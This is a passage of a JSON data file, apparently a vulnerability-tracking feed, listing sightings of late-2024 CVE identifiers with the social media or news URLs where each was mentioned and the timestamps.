"creation_timestamp": "2025-01-14T12:54:17.524135Z"}, {"uuid": "b5467174-992a-46b7-b75e-989ba97a88f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://threatintel.cc/2025/01/14/cisa-warns-of-second-beyondtrust.html", "content": "", "creation_timestamp": "2025-01-14T12:26:48.000000Z"}, {"uuid": "fa2b47a9-2d65-4060-a4c8-1cbfe9cc1f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lfrbxqrtna2i", "content": "", "creation_timestamp": "2025-01-15T07:54:08.440174Z"}, {"uuid": "04002327-e958-4386-98dc-1b22acb667d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2v5wl2e", "content": "", "creation_timestamp": "2025-01-07T10:43:24.386406Z"}, {"uuid": "2dd96f11-18c1-43eb-ae17-d86cdc728c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apom6i2i", "content": "", "creation_timestamp": "2025-01-09T06:43:57.787042Z"}, {"uuid": "c4553801-8eba-434a-a31f-7dcb6a66403f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400410997715", "content": "", "creation_timestamp": "2025-01-09T12:29:48.065484Z"}, {"uuid": "dd503dc6-eb23-403e-af97-1221f8edbda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826808562336469", "content": "", "creation_timestamp": "2025-01-14T12:54:22.607078Z"}, {"uuid": "27c72199-366c-4f60-ad49-5837fd63d247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/m00nstreake.bsky.social/post/3lemiosdza22f", "content": "", "creation_timestamp": "2024-12-31T16:45:53.908401Z"}, {"uuid": "40056051-548e-4c7b-a935-ba70e939f95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558180776514", "content": "", "creation_timestamp": "2025-01-07T06:03:51.873133Z"}, {"uuid": "9b3be690-427f-4d7f-97ec-74bad180dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2yeex2g", "content": "", "creation_timestamp": "2025-01-07T10:43:24.805407Z"}, {"uuid": "89335a49-1661-4db1-a26f-ad0efea872cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3aq34qc2e", "content": "", "creation_timestamp": "2025-01-09T06:43:58.526589Z"}, {"uuid": "86b6becc-03d5-4cae-9c04-b0d9b5b1e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558250577517", "content": "", "creation_timestamp": "2025-01-07T06:03:52.383741Z"}, {"uuid": "f3bceefd-17b0-4933-a53c-1780a95c0478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558213640255", "content": "", "creation_timestamp": "2025-01-07T06:03:52.580192Z"}, {"uuid": "0a4e9191-8c9e-415b-befe-4514c2577067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfcowx7drw2j", "content": "", "creation_timestamp": "2025-01-09T12:36:24.126343Z"}, {"uuid": "ef2490eb-97da-4547-812b-a557e946a272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785558196609609", "content": "", "creation_timestamp": "2025-01-07T06:03:52.483863Z"}, {"uuid": "d9c9a871-abe3-4a3e-8423-c0c3c5231794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12717", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3aqiv7a2q", "content": "", "creation_timestamp": "2025-01-09T06:43:59.650727Z"}, {"uuid": "49169091-f725-4cbe-a8ce-99649a874c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lep7dcoiok2r", "content": "", "creation_timestamp": "2025-01-01T18:36:33.958400Z"}, {"uuid": "139ef6eb-623d-4db6-97d8-7bc4a14bff62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3leq6wjtgk72x", "content": "", "creation_timestamp": "2025-01-02T04:01:55.215418Z"}, {"uuid": "a9de1e30-cb4f-4482-93d1-02948005fcdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leqgfaacn52m", "content": "", "creation_timestamp": "2025-01-02T06:15:24.029230Z"}, {"uuid": "e17f0291-4b26-46ef-bdde-aded39b54d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3leqi6btdre2q", "content": "", "creation_timestamp": "2025-01-02T06:47:18.710349Z"}, {"uuid": "da30488f-fda0-442c-9dcd-67e98f75bbd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3leqlwhyxy32q", "content": "", "creation_timestamp": "2025-01-02T07:54:31.552270Z"}, {"uuid": "19a4a309-d25e-4f0d-96f2-61da516fd031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3leqnx7glev2s", "content": "", "creation_timestamp": "2025-01-02T08:30:43.479868Z"}, {"uuid": "fc903bef-58e3-4237-aa66-95e82f0f2642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113757976140653968", "content": "", "creation_timestamp": "2025-01-02T09:09:22.656474Z"}, {"uuid": "e8a9107b-f9ba-4212-adf3-41026dd06701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leqqhle2652k", "content": "", "creation_timestamp": "2025-01-02T09:15:40.771299Z"}, {"uuid": "e2ebbb50-1bd8-476e-8a18-dcc72ec9b0bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3leqrokztu32h", "content": "", "creation_timestamp": "2025-01-02T09:37:29.315813Z"}, {"uuid": "e01b97a4-bd86-48d8-af40-e29057286b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/dirkfre.bsky.social/post/3leqz5mzovk23", "content": "", "creation_timestamp": "2025-01-02T11:51:13.017675Z"}, {"uuid": "ec05cb70-259e-41bd-9c82-c37269b85cde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ler2rb3otv2m", "content": "", "creation_timestamp": "2025-01-02T12:20:03.645971Z"}, {"uuid": "d0bf88d2-3464-4749-b8f0-55fd02cb35d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxpxotc2k", "content": "", "creation_timestamp": "2025-01-07T12:53:30.966649Z"}, {"uuid": "f919c6e2-fe35-4657-9725-7db22baee34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826826488173623", "content": "", "creation_timestamp": "2025-01-14T12:58:55.348195Z"}, {"uuid": "09a9a928-3926-4f0e-8e16-fab1ad0a858f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxre4ce2i", "content": "", "creation_timestamp": "2025-01-07T12:53:33.719842Z"}, {"uuid": "dccf8749-772c-4e37-a8bd-1ee638c42f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459427194945", "content": "", "creation_timestamp": "2025-01-09T12:44:48.532977Z"}, {"uuid": "9eb1f04b-a172-4dec-8608-71c84afc04c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826826731641482", "content": "", "creation_timestamp": "2025-01-14T12:58:59.125190Z"}, {"uuid": "5209fce0-ae91-4553-ae20-efe9f4ba52ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459412965471", "content": "", "creation_timestamp": "2025-01-09T12:44:49.077673Z"}, {"uuid": "06ce69a7-4b1d-432d-8cdd-46a8030dabc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxqrlvf2e", "content": "", "creation_timestamp": "2025-01-07T12:53:32.795985Z"}, {"uuid": "786ef927-8e15-414f-b2c8-ff97ebd69527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798459441277486", "content": "", "creation_timestamp": "2025-01-09T12:44:49.336455Z"}, {"uuid": "992f78f9-fed4-4e95-95e3-9d65a028e8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfrtehv5ia22", "content": "", "creation_timestamp": "2025-01-15T13:05:28.666577Z"}, {"uuid": "c2b7961c-692d-4cbf-ad69-ed7ed0380978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxr5men2q", "content": "", "creation_timestamp": "2025-01-07T12:53:33.272129Z"}, {"uuid": "93c20593-cdae-42a2-b737-858be55befdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqzh7us2m", "content": "", "creation_timestamp": "2025-01-07T06:16:04.062717Z"}, {"uuid": "d8624cdd-b828-4d69-9340-74596c318f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfq2ekq2k525", "content": "", "creation_timestamp": "2025-01-14T20:05:28.573728Z"}, {"uuid": "6c09946d-1524-4062-99e4-34198726e9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5oxrkwaj2g", "content": "", "creation_timestamp": "2025-01-07T12:53:34.620463Z"}, {"uuid": "172bbab2-1d67-49a1-ba31-b1175ee7cbc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/debian.bsky.social/post/3lfq2j6wsyq2l", "content": "", "creation_timestamp": "2025-01-14T20:08:03.940359Z"}, {"uuid": "aece7961-3a4a-409b-ae56-79af73ab4f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqudtgs2f", "content": "", "creation_timestamp": "2025-01-07T06:15:58.572145Z"}, {"uuid": "34cc0e04-c58a-46e0-aa34-1d3a99bbe596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.305035Z"}, {"uuid": "1f39e6d9-dc43-44da-8b3d-02ca9c04618f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.352376Z"}, {"uuid": "2461ce28-ac25-43e7-8d0c-b575c5d74895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.397496Z"}, {"uuid": "0bc7147f-a5bf-4b73-9eb0-6357db6e78c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.444320Z"}, {"uuid": "6a9758c9-b8fa-4afc-a697-342d37beb709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.488101Z"}, {"uuid": "41e8700a-d053-41a5-adb4-51ee03c26fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/adam.reece.wales/post/3lfsjljz7mk2i", "content": "", "creation_timestamp": "2025-01-15T19:43:08.546092Z"}, {"uuid": "f297cff2-1862-44b0-abba-1cfb6b45f427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yqwykfn25", "content": "", "creation_timestamp": "2025-01-07T06:16:01.474579Z"}, {"uuid": "31bc32d6-2e1d-40a5-8b2b-fd20d828b2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yr3rs7p2i", "content": "", "creation_timestamp": "2025-01-07T06:16:06.373442Z"}, {"uuid": "efaba094-cf08-4d81-b497-5a208ca5f081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yr6qkkm2i", "content": "", "creation_timestamp": "2025-01-07T06:16:09.385946Z"}, {"uuid": "4fc1d250-4140-4422-b6e1-5dac0d04df1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617266493675", "content": "", "creation_timestamp": "2025-01-07T06:18:52.833958Z"}, {"uuid": "4187c837-ee62-489e-81be-c55856d03306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://www.openwall.com/lists/oss-security/2025/01/14/3", "content": "", "creation_timestamp": "2025-01-14T09:53:56.847000Z"}, {"uuid": "d22cb561-5793-4596-87d8-792e15efbe34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrbbpae2i", "content": "", "creation_timestamp": "2025-01-07T06:16:12.001222Z"}, {"uuid": "87ad73f8-9e84-420d-8f3d-c4bb7be661cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrdoa7u2k", "content": "", "creation_timestamp": "2025-01-07T06:16:14.624059Z"}, {"uuid": "86445760-829f-414e-aa6e-ba6a805f7d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrg7gi525", "content": "", "creation_timestamp": "2025-01-07T06:16:17.175768Z"}, {"uuid": "de3d162b-8839-4501-97ad-091bc03d2c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfpfwnm5as2r", "content": "", "creation_timestamp": "2025-01-14T13:59:47.846330Z"}, {"uuid": "99a91205-4cc5-4e5b-9e3f-9f1b1786c774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://xeiaso.net/shitposts/no-way-to-prevent-this/CVE-2024-12084/", "content": "", "creation_timestamp": "2025-01-14T00:00:00.000000Z"}, {"uuid": "0054770b-d4c9-42fe-983f-7058e00e07fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lftqbzgysj2p", "content": "", "creation_timestamp": "2025-01-16T07:15:45.077527Z"}, {"uuid": "8e25ae79-6ba6-41bb-8f10-7d8121f35955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrijmdo2o", "content": "", "creation_timestamp": "2025-01-07T06:16:19.768212Z"}, {"uuid": "0a72b06c-a19a-4e4a-a227-d4e1de300d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrnqa6g2c", "content": "", "creation_timestamp": "2025-01-07T06:16:25.084104Z"}, {"uuid": "8e56ecc1-b67d-4f6b-8e2f-b64c34ad79ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7rhuy625", "content": "", "creation_timestamp": "2025-01-07T13:15:54.805444Z"}, {"uuid": "4b488596-fca4-48ea-87fa-abe7d233686a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788073102479974", "content": "", "creation_timestamp": "2025-01-07T16:43:26.922135Z"}, {"uuid": "35fa9a03-b577-4d2e-9d60-401495c698d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788073102479974", "content": "", "creation_timestamp": "2025-01-07T16:43:26.960110Z"}, {"uuid": "31de0e08-3374-47bb-9bca-0757a89e0bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrl6ygx2i", "content": "", "creation_timestamp": "2025-01-07T06:16:22.390262Z"}, {"uuid": "716ad1c8-72cc-47fc-a4a5-9fc131bae561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7ubh4m2a", "content": "", "creation_timestamp": "2025-01-07T13:15:57.742346Z"}, {"uuid": "43c1b302-63a4-472d-b9a2-7f5f483f8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lftrkjqm5c25", "content": "", "creation_timestamp": "2025-01-16T07:38:24.003405Z"}, {"uuid": "46ffb62c-c630-44af-b187-c6b845a5fc89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4yrq7eak2m", "content": "", "creation_timestamp": "2025-01-07T06:16:27.696455Z"}, {"uuid": "872c5056-366d-494e-9707-a63610321b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7wjc4n22", "content": "", "creation_timestamp": "2025-01-07T13:16:00.046395Z"}, {"uuid": "7922bdd8-a0b7-47cf-a078-c52712718b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3092046", "content": "", "creation_timestamp": "2025-01-13T15:16:11.123737Z"}, {"uuid": "6fb41fd3-58b0-4294-8a69-3a770746f5b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lfofmhqvik2l", "content": "", "creation_timestamp": "2025-01-14T04:21:28.105043Z"}, {"uuid": "bcb9091b-e780-4c9d-9eb6-bfe0676dfd3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://threatintel.cc/2025/01/16/cisa-warns-second-beyondtrust-vulnerability.html", "content": "", "creation_timestamp": "2025-01-16T12:27:26.000000Z"}, {"uuid": "08704572-969a-437c-aed9-4c265bbb4325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5q7wjc4n22", "content": "", "creation_timestamp": "2025-01-07T13:16:00.048169Z"}, {"uuid": "39374ad3-c974-4ed9-bcc7-d3750e528cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113821744720960181", "content": "", "creation_timestamp": "2025-01-13T15:26:34.197076Z"}, {"uuid": "47bfe31c-f6ea-4440-be41-28820e6abdc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113829398285192484", "content": "", "creation_timestamp": 